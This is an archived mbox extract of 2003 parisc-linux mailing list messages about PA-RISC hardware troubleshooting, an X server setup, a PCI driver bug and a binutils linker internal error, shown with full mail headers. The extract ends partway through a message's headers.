On Maw, 2003-06-24 at 21:15, Bad Max wrote:
> The most strange is that this switch was working perfectly for one year and
> the
> B132L was the only host affected by the bug (I never encountered this bug
> with
> the other host).

Most boxes have regular traffic - samba broadcasts, snmp probes, ipx
rip/sap whatever. 


From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Charles Slivkoff <caslivkoff@mac.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need Replacement was: Matrox graphics card and C360
Date: Tue, 24 Jun 2003 23:04:08 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <AFF42C70-A6B9-11D7-84EB-000393581E44@mac.com>
References: <yq1adc7pefj.fsf@wilson.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622538 27015 80.91.229.3 (22 Nov 2014 02:15:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:38 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: "Martin K. Petersen" <mkp@mkp.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 24 21:04:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail8.speakeasy.net [216.254.0.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2382D487D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 21:04:06 -0600 (MDT)
Original-Received: (qmail 18995 invoked from network); 25 Jun 2003 03:04:03 -0000
Original-Received: from unknown (HELO mac.com) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@mac.com>)
          by mail8.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <xam@cs.ucc.ie>; 25 Jun 2003 03:04:03 -0000
In-Reply-To: <yq1adc7pefj.fsf@wilson.mkp.net>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18743

On Tuesday, Jun 24, 2003, at 13:34 US/Eastern, Martin K. Petersen wrote:
>
> Give that box a big, tight hug.  That usually fixes it *).
>
> *) Make sure nobody can see you when you are doing this.  More than
>  once I have been accused of humping my PA-RISC hardware while
>  performing this delicate repair procedure.
>

ROTFLMAO!! After the last few days I've had, I needed that laugh. 
Though, I never expected to get it here. :-)  I remember getting our 
early-production model C200 back in '96 (I think). It took a while 
before everything was properly "seated". And what fun we had installing 
the FX-6 texture board when it finally arrived. That card was a very 
tight fit to begin with.



From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bad Max <badmax@club-internet.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ARP resolution trouble
Date: Wed, 25 Jun 2003 07:32:40 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <yam9306.2029.145319488@esteban.rebellion>
References: <1056490704.1223.12.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622538 27018 80.91.229.3 (22 Nov 2014 02:15:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 25 00:31:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from esteban.rebellion (f06a-1-118.d1.club-internet.fr [212.194.120.118])
	by dsl2.external.hp.com (Postfix) with ESMTP id D79CD4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jun 2003 00:31:42 -0600 (MDT)
Original-Received: from x-plorer.rebellion
	([192.168.10.1] helo=rebellion ident=badmax)
	by esteban.rebellion with smtp (Exim 3.36 #1 (Debian))
	id 19V3oi-0001Px-00; Wed, 25 Jun 2003 08:31:40 +0200
In-Reply-To: <1056490704.1223.12.camel@dhcp22.swansea.linux.org.uk>
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18744

Hello

On 24-juin-03, you wrote:

| > On Maw, 2003-06-24 at 21:15, Bad Max wrote:
| >> The most strange is that this switch was working perfectly for one year
| >> and the
| >> B132L was the only host affected by the bug (I never encountered this
| >> bug with
| >> the other host).
| > 
| > Most boxes have regular traffic - samba broadcasts, snmp probes, ipx
| > rip/sap whatever. 
| > 

The B132L is a PDC/DNS/DHCP/Router on my network. The other host are
mostly clients, no ipx, no snmp. DHCP requests were accepted and the
B132L was reachable until ARP timeout. 

The only thing I don't understand is why the B132L was the only host
affected by the trouble.
-------
Bad Max
========
Amiga User
GNU User
WWW: perso.club-internet.fr/badmax



From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge pb?[was: Re: HP C180 video card]
Date: Wed, 25 Jun 2003 11:43:51 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3ED4C8B600009CA3@ocpmta1.freegates.net>
References: <20030624034442.GA28169@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622538 27022 80.91.229.3 (22 Nov 2014 02:15:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 25 03:43:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 884D74829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jun 2003 03:43:56 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19V6nA-000553-00; Wed, 25 Jun 2003 11:42:16 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 25 Jun 2003 11:43:51 +0200
In-Reply-To: <20030624034442.GA28169@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18745

Hi Grant,

> BTW, my comment was actually intended for other parts of the code I
> was digging though, not the just lack of pci_enable_device().

Do you know where can I get more info on what have todo (naturaly only pci_enable_device()
doesn't help)?

Thanks,
    Joel



---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rod Smart <snaketails@optusnet.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting XF86 to run on a C-180 box
Date: Wed, 25 Jun 2003 12:57:55 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <3EF99C53.7070200__32508.0312708907$1416622539$gmane$org@optusnet.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622539 27024 80.91.229.3 (22 Nov 2014 02:15:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:39 +0000 (UTC)
To: gentoo-user@gentoo.org,
	PA-RISC Users <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 25 06:58:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jumpgate.home.net.au (c16844.fernt1.vic.optusnet.com.au [210.49.203.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEADD4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jun 2003 06:58:08 -0600 (MDT)
Original-Received: from localhost (jumpgate.home.net.au [127.0.0.1])
	by jumpgate.home.net.au (Postfix) with ESMTP
	id 6BB2F62E54; Wed, 25 Jun 2003 22:58:06 +1000 (EST)
Original-Received: from optusnet.com.au (shadow.home.net.au [192.168.3.130])
	by jumpgate.home.net.au (Postfix) with ESMTP
	id 3CB8962E53; Wed, 25 Jun 2003 22:57:57 +1000 (EST)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: rs1_6f7244ef550, rs2_044bb9a7ad
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18746

    Hello.

    I have a C-180 Visualize RISC system with a (GSC) "A4070" video card 
with a "A4747" daughter card.

    The system is happily running with Gentoo Linux, and the swap space 
hasn't even been touched...

    I would like to get this thing into doing something more than 
heating my bedroom, so I am wondering if anyone has a XF86Config file 
that I could get the video driver settings for the above card configuration.

    I have tried "fbdev" but even at Depth=8 I have not been able to get 
xfree running.

    I searched through the old mail archives but I couldn't find much 
more than the "fbdev" setup.

    When I do the  command line from one of the mail list messages i get 
the following.

vorlon portage # dmesg | grep stifb
fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf8100000
fb1: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio: 0xfa100000

    I'm not sure what this means, but I think the "-8" and the "-32" is 
the depth.

    The system RAM is fully populated with 768Megs

    If you require any more information, please just ask ;o)



From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge pb?[was: Re: HP C180 video card]
Date: Wed, 25 Jun 2003 13:21:57 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20030625192157.GD8965@dsl2.external.hp.com>
References: <20030624034442.GA28169@dsl2.external.hp.com> <3ED4C8B600009CA3@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622539 27026 80.91.229.3 (22 Nov 2014 02:15:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 25 13:21:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9FE934829; Wed, 25 Jun 2003 13:21:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3ED4C8B600009CA3@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18747

On Wed, Jun 25, 2003 at 11:43:51AM +0200, Joel Soete wrote:
> Do you know where can I get more info on what have todo
> (naturaly only pci_enable_device() doesn't help)?

Track down where in the code the MMIO read fails.
If it's crashing *after* pci_enable_device() is called,
then need to make sure the driver isn't directly reading
PCI BARs and is using struct resources in the pci_dev.

grant


From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils ICE while building todays gcc HEAD on hppa-linux
Date: Wed, 25 Jun 2003 23:26:59 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <16122.5027.155918.686357__12690.7431208112$1416622539$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622539 27029 80.91.229.3 (22 Nov 2014 02:15:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, binutils@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 25 15:30:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id D64894829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jun 2003 15:29:59 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id XAA27422;
	Wed, 25 Jun 2003 23:26:59 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id h5PLQx501254;
	Wed, 25 Jun 2003 23:26:59 +0200 (MEST)
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18748

ICE in binutils-2.14.90.0.4 building gcc HEAD 20030625, while linking
the shared libstdc++ library:

[...]
-Wl,-soname -Wl,libstdc++.so.6 -o .libs/libstdc++.so.6.0.0
/usr/bin/ld: BFD 2.14.90.0.4 20030523 Debian GNU/Linux internal error, aborting at ../../bfd/elf32-hppa.c line 3864 in elf32_hppa_relocate_section

/usr/bin/ld: Please report this bug.

collect2: ld returned 1 exit status


From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils ICE while building todays gcc HEAD on hppa-linux
Date: Wed, 25 Jun 2003 17:52:42 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200306252152.h5PLqhWs008763__35233.7890108631$1416622540$gmane$org@hiauly1.hia.nrc.ca>
References: <16122.5027.155918.686357@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622540 27032 80.91.229.3 (22 Nov 2014 02:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, binutils@sources.redhat.com
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 25 15:52:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D61134829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jun 2003 15:52:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5PLqhgL008764;
	Wed, 25 Jun 2003 17:52:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5PLqhWs008763;
	Wed, 25 Jun 2003 17:52:43 -0400 (EDT)
In-Reply-To: <16122.5027.155918.686357@gargle.gargle.HOWL> from "Matthias Klose" at Jun 25, 2003 11:26:59 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18749

Hi,

> ICE in binutils-2.14.90.0.4 building gcc HEAD 20030625, while linking
> the shared libstdc++ library:
> 
> [...]
> -Wl,-soname -Wl,libstdc++.so.6 -o .libs/libstdc++.so.6.0.0
> /usr/bin/ld: BFD 2.14.90.0.4 20030523 Debian GNU/Linux internal error, aborting at ../../bfd/elf32-hppa.c line 3864 in elf32_hppa_relocate_section

The error was introduced by this patch:

2003-06-23  Jakub Jelinek  <jakub@redhat.com>

        * method.c (thunk_labelno): New variable.
	(make_alias_for_thunk): New function.
	(use_thunk): Use it if defined ASM_OUTPUT_DEF.  Put the thunk
	into the same section as the function it is calling.
	Include gt-cp-method.h.
	* Make-lang.in (gt-cp-method.h): Depend on s-gtype.
	(cp/method.o): Depend on gt-cp-method.h.
	* config-lang.in (gtfiles): Add $(srcdir)/cp/method.c.

This patch changes the symbol used for the jump from a thunk from
a global symbol to a local symbol.  We have been using a function
descriptor for the jump on hppa-linux and hppa-hpux.  The GNU linker
dies when it hits a function descriptor with a relocation to a local
symbol in a linkonce section that is not output (i.e., we are trying
to generate a relocation for a symbol that no longer exists).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: binutils ICE while building todays gcc HEAD on hppa-linux
Date: Thu, 26 Jun 2003 10:06:52 +0930
Lines: 16
Approved: news@gmane.org
Message-ID: <20030626003652.GQ4022__23431.4417154112$1416622540$gmane$org@bubble.sa.bigpond.net.au>
References: <16122.5027.155918.686357@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416622540 27035 80.91.229.3 (22 Nov 2014 02:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, binutils@sources.redhat.com
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 25 18:38:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta07bw.bigpond.com (mta07bw.bigpond.com [144.135.24.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00B0D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jun 2003 18:38:43 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.81]) by mta07bw.email.bigpond.com
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with SMTP id <0HH200G9OCD81R@mta07bw.email.bigpond.com> for
 parisc-linux@lists.parisc-linux.org; Thu, 26 Jun 2003 10:36:44 +1000 (EST)
Original-Received: from cpe-144-136-188-60.sa.bigpond.net.au ([144.136.188.60])
 by bwmam05bpa.bigpond.com(MailRouter V3.2g 44/48085709); Thu,
 26 Jun 2003 10:36:46 +0000
Original-Received: (qmail 24486 invoked by uid 179); Thu, 26 Jun 2003 00:36:52 +0000
In-reply-to: <16122.5027.155918.686357@gargle.gargle.HOWL>
Mail-Followup-To: Matthias Klose <doko@cs.tu-berlin.de>,
	parisc-linux@lists.parisc-linux.org, binutils@sources.redhat.com
Content-disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18750

On Wed, Jun 25, 2003 at 11:26:59PM +0200, Matthias Klose wrote:
> ICE in binutils-2.14.90.0.4 building gcc HEAD 20030625, while linking
> the shared libstdc++ library:
> 
> [...]
> -Wl,-soname -Wl,libstdc++.so.6 -o .libs/libstdc++.so.6.0.0
> /usr/bin/ld: BFD 2.14.90.0.4 20030523 Debian GNU/Linux internal error, aborting at ../../bfd/elf32-hppa.c line 3864 in elf32_hppa_relocate_section

Please run the ld command under gdb, and let me know the results of
"p *h".  Note that you may need to recompile elf32-hppa.c at -O1 to
get useful debug info.

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre


From - Thu Nov 08 21:28:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: binutils ICE while building todays gcc HEAD on hppa-linux
Date: Wed, 25 Jun 2003 21:30:02 -0400 (EDT)
Lines: 63
Approved: news@gmane.org
Message-ID: <200306260130.h5Q1U2x4009324__2520.06145096875$1416622540$gmane$org@hiauly1.hia.nrc.ca>
References: <20030626003652.GQ4022@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622540 27039 80.91.229.3 (22 Nov 2014 02:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:40 +0000 (UTC)
Cc: doko@cs.tu-berlin.de, parisc-linux@lists.parisc-linux.org,
	binutils@sources.redhat.com
To: amodra@bigpond.net.au (Alan Modra)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 25 19:30:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2DD0E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Jun 2003 19:30:07 -0600 (MDT)
